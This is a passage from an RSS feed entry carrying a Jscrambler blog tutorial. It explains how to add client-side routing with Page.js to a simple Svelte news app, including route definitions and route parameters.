&lt;p&gt;&lt;a href="https://jscrambler.com/signup?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing" class="free-trial-ad"&gt;&lt;img alt="Try Jscrambler For Free" src="https://res.cloudinary.com/practicaldev/image/fetch/s--vh1vlUdJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://media.jscrambler.com/blog/V1-freetrial.jpg"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You can get your own API key from the &lt;a href="https://newsapi.org/"&gt;News API website&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;For more details about this code, refer to the previous &lt;a href="https://blog.jscrambler.com/svelte-vs-react-differences-when-building-the-same-web-app/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;tutorial&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Next, open the &lt;code&gt;src/components/About.svelte&lt;/code&gt; file and update it as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;    
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;div&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"container"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    This is a news app created with Svelte
&lt;span class="nt"&gt;&amp;lt;/div&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;style&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/style&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Integrating Page.js with Svelte.js
&lt;/h2&gt;

&lt;p&gt;Now, let's see how to use Page.js with Svelte.&lt;/p&gt;

&lt;p&gt;Open the  &lt;code&gt;src/App.svelte&lt;/code&gt;  file and  import the &lt;code&gt;router&lt;/code&gt; from the &lt;code&gt;page&lt;/code&gt; package, and also the two &lt;code&gt;Home&lt;/code&gt; and &lt;code&gt;About&lt;/code&gt; components:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;router&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;page&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;Home&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/Home.svelte&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="nx"&gt;About&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;./components/About.svelte&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;    
&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Next, define a page variable that will hold the matched component:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// [...]&lt;/span&gt;

&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;After that, define the routes of your application and call the &lt;code&gt;start&lt;/code&gt; method of the router to start watching the changes on the URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;
&lt;span class="c1"&gt;// [...]&lt;/span&gt;

&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Home&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/about&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;About&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;We created two routes for the &lt;code&gt;Home&lt;/code&gt; and &lt;code&gt;About&lt;/code&gt; components.&lt;/p&gt;

&lt;p&gt;We passed, to the &lt;code&gt;router&lt;/code&gt; function, the path as the first property and an arrow function to assign the matched component to the &lt;code&gt;page&lt;/code&gt; variable as the second property. This will simply tell Page.js to watch for the changes on the URL in the browser and set the appropriate component as we specified.&lt;/p&gt;

&lt;p&gt;Finally, we need to tell the router where to insert the matched component using the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;h1&amp;gt;&lt;/span&gt;
    Daily News
&lt;span class="nt"&gt;&amp;lt;/h1&amp;gt;&lt;/span&gt;

&lt;span class="nt"&gt;&amp;lt;svelte:component&lt;/span&gt; &lt;span class="na"&gt;this=&lt;/span&gt;&lt;span class="s"&gt;{page}&lt;/span&gt; &lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This should be added after the closing &lt;code&gt;&amp;lt;/script&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;

&lt;p&gt;You can now visit the &lt;code&gt;/&lt;/code&gt; and &lt;code&gt;/about&lt;/code&gt; paths to see the corresponding pages.&lt;/p&gt;

&lt;p&gt;You can also use parameters with routes. For example, let’s suppose we want to be able to access a single article by its ID; you can do something like the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="nx"&gt;router&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;/article/:id&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;params&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;
    &lt;span class="nx"&gt;next&lt;/span&gt;&lt;span class="p"&gt;()},&lt;/span&gt;  &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="nx"&gt;page&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Article&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Where the ID is the parameter and the Article is a component that will be rendered when users visit routes such as &lt;code&gt;/article/1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;In the Article component, we can access the ID parameter using the following code:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nx"&gt;script&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;onMount&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;from&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;svelte&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;let&lt;/span&gt; &lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

    &lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;getID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;params&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
    &lt;span class="p"&gt;};&lt;/span&gt;
    &lt;span class="nx"&gt;onMount&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;getID&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;

&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="sr"&gt;/script&lt;/span&gt;&lt;span class="err"&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;In this article, we have implemented routing in our Svelte app using the Page.js library.&lt;/p&gt;

&lt;p&gt;We have built this on top of our previous tutorial where we created a simple news application. Here, we refactored the app to have two pages routed using a client-side JavaScript router available from Page.js, which is a popular choice among the growing Svelte community.&lt;/p&gt;

&lt;p&gt;Have you given Svelte a try yet? If not, it may be worth a go!&lt;/p&gt;

&lt;p&gt;But regardless of the JavaScript framework you're using, you should always protect its source code to avoid reverse-engineering and code tampering. See our tutorials on protecting &lt;a href="https://blog.jscrambler.com/protecting-your-react-js-source-code-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;React&lt;/a&gt;, &lt;a href="https://blog.jscrambler.com/how-to-protect-angular-code-against-theft-and-reverse-engineering/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;Angular&lt;/a&gt;, &lt;a href="https://blog.jscrambler.com/how-to-protect-your-vue-js-application-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;Vue&lt;/a&gt;, &lt;a href="https://blog.jscrambler.com/how-to-protect-react-native-apps-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;React Native&lt;/a&gt;, &lt;a href="https://blog.jscrambler.com/protecting-hybrid-mobile-apps-with-ionic-and-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;Ionic&lt;/a&gt;, and &lt;a href="https://blog.jscrambler.com/protecting-your-nativescript-source-code-with-jscrambler/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;NativeScript&lt;/a&gt;.&lt;/p&gt;




&lt;p&gt;Originally published on the &lt;a href="https://blog.jscrambler.com/svelte-routing-with-page-js/?utm_source=dev.to&amp;amp;utm_medium=referral&amp;amp;utm_campaign=svelte-routing"&gt;Jscrambler Blog&lt;/a&gt; by Ahmed Bouchefra.&lt;/p&gt;

</description>
      <category>svelte</category>
      <category>javascript</category>
      <category>routing</category>
    </item>
  </channel>
</rss>
